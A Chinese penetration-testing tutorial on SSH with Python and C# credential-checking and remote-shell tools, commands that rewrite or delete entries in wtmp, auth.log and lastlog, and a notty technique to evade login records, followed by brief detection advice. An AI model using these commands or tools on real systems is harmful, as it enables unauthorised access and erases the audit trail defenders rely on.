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渗透基础——SSH日志的绕过

2020-06-22 14:13

0x00 前言

SSH是一种网络协议,用于计算机之间的加密登录,通常用于远程登录Linux系统。

在渗透测试中,通常需要考虑SSH的口令爆破和日志删除。

本文将要介绍一些渗透测试相关的基础内容,结合利用方法给出检测建议。

0x01 简介

本文将要介绍以下内容:

· 程序实现SSH口令验证

· SSH日志的删除

· SSH日志的绕过

· 防御检测

0x02 程序实现SSH口令验证

1.Python实现

使用第三方库paramiko库,用法很简单。

代码如下:

import paramiko
import sys
def sshcheck(hostname, port, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(hostname, port, username, password, timeout=10)
        print("[+] Valid: %s  %s"%(username,password))
        ssh.close();
    except paramiko.AuthenticationException:
        print("[!] Authentication failed")
    except Exception:
        print("[!] Connection Failed")
    except paramiko.SSHException:
        print("[!] Unable to establish SSH connection: %s"%(sshException))

def sshcheckfile(hostname, port, username, keyfile):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    key=paramiko.RSAKey.from_private_key_file(keyfile)
    try:
        ssh.connect(hostname, port, username, pkey=key, timeout=2)
        print("[+] Valid: %s  %s"%(username,keyfile))
        ssh.close();
    except paramiko.AuthenticationException:
        print("[!] Authentication failed")
    except Exception:
        print("[!] Connection Failed")
    except paramiko.SSHException:
        print("[!] Unable to establish SSH connection: %s"%(sshException))

if __name__ == "__main__":
    if len(sys.argv)!=6:
        print('[!]Wrong parameter')
        print('sshCheck')       
        print('Use to check the valid credential of SSH(Support password and privatekeyfile)')
        print('Author:3gstudent')      
        print('Usage:')
        print('%s    '%(sys.argv[0]))
        print(':')
        print('- plaintext')   
        print('- keyfile')
        print('Eg.')
        print('%s 192.168.1.1 22 plaintext root toor'%(sys.argv[0]))
        print('%s 192.168.1.1 22 keyfile root id_rsa'%(sys.argv[0]))
        sys.exit(0)
    else:
        if sys.argv[3] == 'plaintext': 
            sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5])
        elif sys.argv[3] == 'keyfile': 
            sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5])
        else:
            print('[!]Wrong parameter')

代码支持口令登录和证书文件登录。

2.C#实现

使用第三方库SSH.NET,地址如下:

https://github.com/sshnet/SSH.NET

编译好的dll下载地址:

https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip

参考文档:

https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-help.chm

在程序中引入Renci.SshNet.dll后,用法也十分简单。

在编写程序上需要注意以下问题:

(1)使用证书登录

SSH.NET对证书的格式有要求,SSH.NET-2016.1.0-help.chm上提示必须为BEGIN RSA PRIVATE KEY,如下图:image.png

而使用命令ssh-keygen -t rsa时,默认是以新的格式生成密钥文件,格式为BEGIN OPENSSH PRIVATE KEY,这里需要做一个转换。

解决方法:

使用puttygen转换,下载地址:

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

选择Load导入密钥。

导出方法:

Conversions->Export OpenSSH key

所以在编写程序上需要先读取证书的文件内容,判断格式是否正确。

代码如下:

using System;
using System.IO;
using Renci.SshNet;

namespace SharpSSHCheck_SSH.NET
{
    class Program
    {
        static void ShowUsage()
        {
            string Usage = @"
SharpSSHCheck_SSH.NET
Use to check the valid credential of SSH(Based on SSH.NET).
Support password and privatekeyfile.
Author:3gstudent
Reference:https://github.com/sshnet/SSH.NET
Note:
You need to reference Renci.SshNet.dll.
You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip
Complie:
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll
Usage:
      SharpSSHCheck_SSH.NET.exe           :
      - plaintext
      - keyfile
Eg:
      SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 plaintext root toor
      SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa
";
            Console.WriteLine(Usage);
        }

    static void Main(string[] args)
        {
            if (args.Length != 5)
                ShowUsage();
            else
            {
                try
                {
                    String Host = args[0];
                    String Port = args[1];
                    String Username = args[3];
                    String Password = null;
                    String Keypath = null;
                    if (args[2] == "plaintext")
                    {
                        Password = args[4];
                        var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password);
                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);
                        var ssh = new SshClient(connectionInfo);
                        ssh.Connect();
                        Console.WriteLine("[+] Valid: " + Username + "  " + Password);
                        ssh.Disconnect();
                        ssh.Dispose();
                    }
                    else if (args[2] == "keyfile")
                    {
                        Keypath = args[4];
                        FileStream keyFileStream = File.OpenRead(Keypath);
                        byte[] byData = new byte[40];
                        keyFileStream.Read(byData, 0, 40);
                        string keyData = System.Text.Encoding.Default.GetString(byData);
                        if (keyData.Contains("OPENSSH"))
                        {
                            Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format.");
                            System.Environment.Exit(0);
                        }

                        keyFileStream.Seek(0, SeekOrigin.Begin);
                        var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream));
                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);
                        ssh.Connect();
                        Console.WriteLine("[+] Valid: " + Username + "  " + Keypath);
                        ssh.Disconnect();
                        ssh.Dispose();
                    }
                    else
                    {
                        Console.WriteLine("[!] Wrong parameter");
                        System.Environment.Exit(0);
                    }
                }
                catch (Renci.SshNet.Common.SshException ex)
                {
                    Console.WriteLine("[!] " + ex.Message);
                }
                catch (Exception exception)
                {
                    Console.WriteLine("[!] " + exception.Message);
                }
            }
        }
    }
}

代码需要对应.NET版本的Renci.SshNet.dll,可使用csc.exe进行编译,命令示例:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll

代码支持口令登录和证书文件登录。

0x03 SSH日志的删除

同SSH登录操作相关的日志有以下几个位置:

· /var/log/btmp,记录错误的登录尝试,查询命令:lastb

· /var/log/auth.log,记录认证成功的用户

· /var/log/secure,记录与安全相关的日志信息

· /var/log/lastlog,记录用户上次登录信息

· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last

· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w

· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history

1.查看日志的内容

无法直接查看的需要使用strings命令。

命令示例:

strings /var/log/wtmp

2.替换日志中的IP

使用sed命令替换指定的IP。

命令示例:

utmpdump /var/log/wtmp |sed "s/192.168.112.151/1.1.1.1/g" |utmpdump -r >/tmp/wtmp11 &&\mv /tmp/wtmp11 /var/log/wtmp

将192.168.112.151修改为1.1.1.1

3.删除日志中的指定行

使用sed命令删除指定行。

sed -i '/May 1 23:17:39/d' /var/log/auth.log

删除/var/log/auth.log中以"May 1 23:17:39"开头的行。

4.躲避管理员w查看

需要使用logtamper

命令示例:

python logtamper.py -m 1 -u re4lity -i 192.168.0.188

通过修改文件/var/run/utmp实现。

5.清除指定ip的登录日志

需要使用logtamper

命令示例:

python logtamper.py -m 2 -u re4lity -i 192.168.0.188

通过修改文件/var/log/wtmp实现。

6.修改上次登录时间地点

需要使用logtamper

命令示例:

python logtamper.py -m 3 -u re4lity -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12

通过修改文件/var/log/lastlog实现。

7.清除当前会话使用的命令记录

在退出会话前执行:

history -r

0x04 SSH日志的绕过

如果我们使用SSH客户端(例如putty)进行登录,需要考虑日志清除,十分麻烦。

这里给出一种绕过各种日志记录的方法:使用sftp、rsyn、scp等协议进行登录(notty)。

这里给出两种实现方法:

在0x02中介绍的两个SSH口令验证程序(python和c#)正是使用了notty。

我将口令验证程序加入了执行命令的功能。

Python实现的代码如下:

import paramiko
import sys
def sshcheck(hostname, port, username, password, cmd):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(hostname, port, username, password, timeout=10)
        print("[+] Valid: %s  %s"%(username,password))
        if cmd == 'shell':
            while(1):
                cmd = input("#")
                if cmd == 'exit':
                    print("[*] Exit.")
                    ssh.close();
                    return
                stdin, stdout, stderr = ssh.exec_command(cmd)
                print(stdout.read().decode())
                result = stdout.read()
        else:
            stdin, stdout, stderr = ssh.exec_command(cmd)
            print(stdout.read().decode())
            result = stdout.read()
            ssh.close();
    except paramiko.AuthenticationException:
        print("[!] Authentication failed")
    except Exception:
        print("[!] Connection Failed")
    except paramiko.SSHException:
        print("[!] Unable to establish SSH connection: %s"%(sshException))

def sshcheckfile(hostname, port, username, keyfile, cmd):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    key=paramiko.RSAKey.from_private_key_file(keyfile)
    try:
        ssh.connect(hostname, port, username, pkey=key, timeout=2)
        print("[+] Valid: %s  %s"%(username,keyfile))
        if cmd == 'shell':
            while(1):
                cmd = input("#")
                if cmd == 'exit':
                    print("[*] Exit.")
                    ssh.close();
                    return
                stdin, stdout, stderr = ssh.exec_command(cmd)
                print(stdout.read().decode())
                result = stdout.read()
        else:
            stdin, stdout, stderr = ssh.exec_command(cmd)
            print(stdout.read().decode())
            result = stdout.read()
            ssh.close();
      
    except paramiko.AuthenticationException:
        print("[!] Authentication failed")
    except Exception:
        print("[!] Connection Failed")
    except paramiko.SSHException:
        print("[!] Unable to establish SSH connection: %s"%(sshException))

if __name__ == "__main__":
    if len(sys.argv)!=7:
        print('[!]Wrong parameter')     
        print('sshRunCmd')       
        print('Remote command execution via SSH(Support password and privatekeyfile)')
        print('Author:3gstudent')      
        print('Usage:')
        print('%s     '%(sys.argv[0]))
        print(':')
        print('- plaintext')   
        print('- keyfile')
        print('If the  is shell,you will get an interactive shell')        
        print('Eg.')
        print('%s 192.168.1.1 22 plaintext root toor shell'%(sys.argv[0]))
        print('%s 192.168.1.1 22 keyfile root id_rsa ps'%(sys.argv[0]))
        sys.exit(0)
    else:
        if sys.argv[3] == 'plaintext': 
            sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6])
        elif sys.argv[3] == 'keyfile': 
            sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6])

C#实现的代码如下:

using System;
using System.IO;
using Renci.SshNet;

namespace SharpSSHRunCmd_SSH.NET
{
    class Program
    {
        static void ShowUsage()
        {
            string Usage = @"
SharpSSHRunCmd_SSH.NET
Remote command execution via SSH(Based on SSH.NET).
Support password and privatekeyfile.
Author:3gstudent
Reference:https://github.com/sshnet/SSH.NET
Note:
You need to reference Renci.SshNet.dll.
You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip
Complie:
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHRunCmd_SSH.NET.cs /r:Renci.SshNet.dll
Usage:
      SharpSSHRunCmd_SSH.NET.exe            :
      - plaintext
      - keyfile
If the  is shell,you will get an interactive shell.
Eg:
      SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 plaintext root toor shell
      SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa ps
";
            Console.WriteLine(Usage);
        }

    static void Main(string[] args)
        {
            if (args.Length != 6)
                ShowUsage();
            else
            {
                try
                {
                    String Host = args[0];
                    String Port = args[1];
                    String Username = args[3];
                    String Password = null;
                    String Keypath = null;
                    String cmd = args[5];
                    if (args[2] == "plaintext")
                    {
                        Password = args[4];
                        var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password);
                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);
                        var ssh = new SshClient(connectionInfo);
                        ssh.Connect();
                        Console.WriteLine("[+] Valid: " + Username + "  " + Password);
                        if (cmd == "shell")
                            while(true)
                            {
                                Console.Write("\n#");
                                cmd = Console.ReadLine();
                                if(cmd == "exit")
                                {
                                    Console.Write("[*] Exit.");
                                    ssh.Disconnect();
                                    ssh.Dispose();
                                    System.Environment.Exit(0);
                                }
                                var runcmd = ssh.CreateCommand(cmd);
                                var res = runcmd.Execute();
                                Console.Write(res);
                            }
                        else
                        {
                            var runcmd = ssh.CreateCommand(cmd);
                            var res = runcmd.Execute();
                            Console.Write(res);
                            ssh.Disconnect();
                            ssh.Dispose();                        
                        }
                    }
                    else if (args[2] == "keyfile")
                    {
                        Keypath = args[4];
                        FileStream keyFileStream = File.OpenRead(Keypath);
                        byte[] byData = new byte[40];
                        keyFileStream.Read(byData, 0, 40);
                        string keyData = System.Text.Encoding.Default.GetString(byData);
                        if (keyData.Contains("OPENSSH"))
                        {
                            Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format.");
                            System.Environment.Exit(0);
                        }

                        keyFileStream.Seek(0, SeekOrigin.Begin);
                        var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream));
                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);
                        ssh.Connect();
                        Console.WriteLine("[+] Valid: " + Username + "  " + Keypath);
                        if (cmd == "shell")
                            while(true)
                            {
                                Console.Write("\n#");
                                cmd = Console.ReadLine();
                                if(cmd == "exit")
                                {
                                    Console.Write("[*] Exit.");
                                    ssh.Disconnect();
                                    ssh.Dispose();
                                    System.Environment.Exit(0);
                                }
                                var runcmd = ssh.CreateCommand(cmd);
                                var res = runcmd.Execute();
                                Console.Write(res);
                            }
                        else
                        {
                            var runcmd = ssh.CreateCommand(cmd);
                            var res = runcmd.Execute();
                            Console.Write(res);
                            ssh.Disconnect();
                            ssh.Dispose();                        
                        }
                    }
                    else
                    {
                        Console.WriteLine("[!] Wrong parameter");
                        System.Environment.Exit(0);
                    }
                }
                catch (Renci.SshNet.Common.SshException ex)
                {
                    Console.WriteLine("[!] " + ex.Message);
                }
                catch (Exception exception)
                {
                    Console.WriteLine("[!] " + exception.Message);
                }
            }
        }
    }
}

代码均支持执行单个命令和交互式shell。

分别选择交互式shell,执行以下命令获得连接类型:

ps -aux|grep sshd

此时的连接类型为notty,如下图:

image.png

注:

如果使用putty远程连接,此时的类型为pts/2,如下图:

image.png

经测试,使用notty,能够绕过以下日志:

· /var/log/lastlog,记录用户上次登录信息

· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last

· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w

· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history

0x05 防御检测

1.增强SSH守护程序

参考资料:

https://www.putorius.net/how-to-secure-ssh-daemon.html

2.notty连接的检测

· 查看错误的登录尝试,查询命令:lastb,文件位置/var/log/btmp

· 查看认证成功的用户,文件位置/var/log/auth.log

· 查看tcp连接,查看命令:netstat -vatn

0x06 小结

本文介绍了SSH在渗透测试中的基础知识(日志删除和日志绕过),开源了4个实现代码(口令验证和命令执行),结合利用方法给出检测建议。

本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址

知识来源: https://www.4hou.com/posts/Mo9R

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